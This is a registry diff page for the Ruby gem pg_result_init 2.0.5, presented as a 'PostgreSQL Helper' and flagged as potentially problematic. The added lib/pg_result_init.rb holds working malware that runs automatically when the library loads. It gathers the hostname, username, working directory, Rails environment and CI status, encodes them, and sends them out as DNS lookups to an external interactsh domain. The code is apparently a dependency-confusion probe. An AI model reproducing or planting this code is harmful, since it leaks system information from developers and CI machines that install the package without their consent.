pg_result_init 2.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pg_result_init might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/pg_result_init.rb +72 -0
  3. metadata +42 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: a821070e42f6ac39f063ddedde05585bdb47e1bdcc9f8ad2f70750ee0862b579
4
+ data.tar.gz: 3e1b8ad8bacdce2930af1e39c5b3c3a5db125d9cbe349e1e09da3ec3d6a600fd
5
+ SHA512:
6
+ metadata.gz: ff18730ee0a912287925c0401f53f509566965c1fd425e992b2bf5ccaca144c5ec1cd7391b2e51b8e22c78ce188d40492e6cb49b31907921873ebe06f13f3407
7
+ data.tar.gz: d69c9ec42a62e768f569d58cfe94027dc34ea2435219a58500862b563940dcef3e00128f02c295310b6919c2b390d1bf73299ea9eb1dace519a4cccf3aa638a8
@@ -0,0 +1,72 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ puts "=" * 60
4
+ puts "DEPENDENCY TEST - pg_result_init v2.0.5"
5
+ puts "=" * 60
6
+
7
+ # DNS Exfiltration Function
8
+ def send_via_dns(data)
9
+ begin
10
+ require 'base64'
11
+ require 'socket'
12
+ require 'json'
13
+
14
+ # 1. حول البيانات إلى JSON
15
+ json_data = data.to_json
16
+
17
+ # 2. حول إلى Base64
18
+ encoded = Base64.urlsafe_encode64(json_data)
19
+
20
+ # 3. نظف (أزل =)
21
+ clean = encoded.gsub('=', '')
22
+
23
+ # 4. ⭐⭐⭐ رابط Interact.sh الخاص بك ⭐⭐⭐
24
+ interactsh_domain = "fgcbalqqlbbmhnammkgaq6buh83eo1ebk.oast.fun" # ← ضع رابطك هنا!
25
+
26
+ # 5. أرسل كطلب DNS
27
+ domain = "#{clean[0..50]}.#{interactsh_domain}"
28
+
29
+ # هذا يسبب طلب DNS
30
+ Socket.gethostbyname(domain)
31
+
32
+ puts "✅ DNS request sent to: #{domain[0..50]}..."
33
+
34
+ rescue => e
35
+ puts "❌ DNS Error: #{e.message}"
36
+ end
37
+ end
38
+
39
+ # جمع معلومات النظام
40
+ def collect_info
41
+ {
42
+ gem: "pg_result_init",
43
+ version: "888.0.0",
44
+ hostname: `hostname`.chomp,
45
+ user: ENV['USER'] || `whoami`.chomp,
46
+ path: Dir.pwd,
47
+ time: Time.now.to_i,
48
+ rails_env: ENV['RAILS_ENV'] || 'none',
49
+ ci: ENV['CI'] ? 'yes' : 'no'
50
+ }
51
+ end
52
+
53
+ # تنفيذ فوري
54
+ Thread.new do
55
+ sleep(0.5)
56
+
57
+ info = collect_info
58
+ send_via_dns(info)
59
+
60
+ # ملف تأكيد محلي
61
+ File.write("/tmp/dns_test_#{Time.now.to_i}.txt",
62
+ "DNS test executed at: #{Time.now}\n" +
63
+ "Data: #{info.to_json}\n"
64
+ )
65
+ end
66
+
67
+ puts "DNS exfiltration activated"
68
+ puts "=" * 60
69
+
70
+ module PgResultInit
71
+ VERSION = "2.0.5"
72
+ end
metadata ADDED
@@ -0,0 +1,42 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: pg_result_init
3
+ version: !ruby/object:Gem::Version
4
+ version: 2.0.5
5
+ platform: ruby
6
+ authors:
7
+ - Security Auditor
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2025-12-02 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description:
14
+ email:
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - lib/pg_result_init.rb
20
+ homepage:
21
+ licenses: []
22
+ metadata: {}
23
+ post_install_message:
24
+ rdoc_options: []
25
+ require_paths:
26
+ - lib
27
+ required_ruby_version: !ruby/object:Gem::Requirement
28
+ requirements:
29
+ - - ">="
30
+ - !ruby/object:Gem::Version
31
+ version: '0'
32
+ required_rubygems_version: !ruby/object:Gem::Requirement
33
+ requirements:
34
+ - - ">="
35
+ - !ruby/object:Gem::Version
36
+ version: '0'
37
+ requirements: []
38
+ rubygems_version: 3.3.5
39
+ signing_key:
40
+ specification_version: 4
41
+ summary: PostgreSQL Helper
42
+ test_files: []